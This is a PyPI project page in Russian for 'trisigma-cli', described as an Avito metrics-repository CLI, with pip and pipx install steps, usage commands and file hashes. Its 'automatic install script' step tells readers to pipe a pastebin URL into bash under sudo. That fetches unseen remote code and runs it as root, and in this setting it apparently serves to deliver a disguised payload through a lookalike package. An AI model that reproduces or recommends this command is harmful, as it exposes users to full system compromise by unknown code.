Skip to main content

Trisigma CLI - инструмент командной строки для работы с Репозиторием метрик. Помогает создавать, валидировать и публиковать изменния в семантическом слое.

Project description

trisigma-cli

PyPI version Python

Trisigma CLI - инструмент командной строки для работы с Репозиторием метрик. Помогает создавать, валидировать и публиковать изменния в семантическом слое.

Установка

Быстрая установка через pip

pip install trisigma-cli

Установка через pipx (рекомендуется)

pipx автоматически управляет PATH и изолирует зависимости:

pip install pipx
pipx ensurepath
pipx install trisigma-cli

Автоматический установочный скрипт (macOS/Linux)

Скрипт автоматически найдет Python, установит CLI и настроит PATH:

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

Что делает скрипт:

  • Найдет лучшую доступную версию Python (3.9-3.13)
  • Установит CLI через pipx (или pip если pipx недоступен)
  • Настроит PATH для вашего shell (zsh/bash)
  • Проверит корректность установки

Установка из корпоративного PyPI (Avito)

Если вы работаете внутри корпоративной сети Avito:

pipx install trisigma-cli --pip-args="--index-url https://pypi.k.avito.ru/simple/"
# или через pip
PIP_INDEX_URL=https://pypi.k.avito.ru/simple/ pip install trisigma-cli

Важно для Python 3.9 на macOS: После установки через pip добавьте в ~/.zshrc:

export PATH="$HOME/Library/Python/3.9/bin:$PATH"

Затем перезагрузите shell:

source ~/.zshrc

Требования

  • Python 3.9-3.13 (Python 3.14 пока не поддерживается)
  • macOS, Linux или Windows (WSL)

Проверка установки

После установки запустите:

trisigma --version

Если команда не найдена, убедитесь что директория со скриптами Python добавлена в PATH.

Начало работы

Инициализация CLI с OAuth авторизацией:

trisigma init

Команда откроет браузер для авторизации и автоматически сохранит все необходимые настройки.

Использование

trisigma                        # Запуск интерактивного режима (TUI)
trisigma sl validate            # Валидация репозитория метрик
trisigma sl compile -s source   # Компиляция SQL для источника
trisigma sl task AB-1234        # Создание ветки для задачи
trisigma sl save -m "message"   # Сохранение изменений
trisigma sl publish             # Публикация изменений и создание PR

Полный список команд доступен через trisigma --help.

Лицензия

Этот проект лицензирован в соответствии с проприетарным лицензионным соглашением ООО «Авито Тех». См. файл LICENSE для подробностей.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

trisigma_cli-0.1.3.tar.gz (140.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

trisigma_cli-0.1.3-py3-none-any.whl (185.7 kB view details)

Uploaded Python 3

File details

Details for the file trisigma_cli-0.1.3.tar.gz.

File metadata

  • Download URL: trisigma_cli-0.1.3.tar.gz
  • Upload date:
  • Size: 140.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.0.1 CPython/3.12.7 Darwin/23.6.0

File hashes

Hashes for trisigma_cli-0.1.3.tar.gz
Algorithm Hash digest
SHA256 6818fd9f0327dd0eed628160bed12f2bf475fe38dfefc4da8eadd39c239fb6b7
MD5 b58a262aaf8aefc8f70493a3cffc3736
BLAKE2b-256 7f6ba3cecb3ce6bced4b833df094cdc8094932f13e5c1db8591685a5a6bab7db

See more details on using hashes here.

File details

Details for the file trisigma_cli-0.1.3-py3-none-any.whl.

File metadata

  • Download URL: trisigma_cli-0.1.3-py3-none-any.whl
  • Upload date:
  • Size: 185.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.0.1 CPython/3.12.7 Darwin/23.6.0

File hashes

Hashes for trisigma_cli-0.1.3-py3-none-any.whl
Algorithm Hash digest
SHA256 8e2cc88900afc9ce96da9ee7bc6928d0c893e289612f7d72842882b9b92dda64
MD5 a3b2d7fa57657227e949ccb84899eaf1
BLAKE2b-256 9c411857697b183b2310b870858411ffb7975683e837f52bbaf58ec89cde1588

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page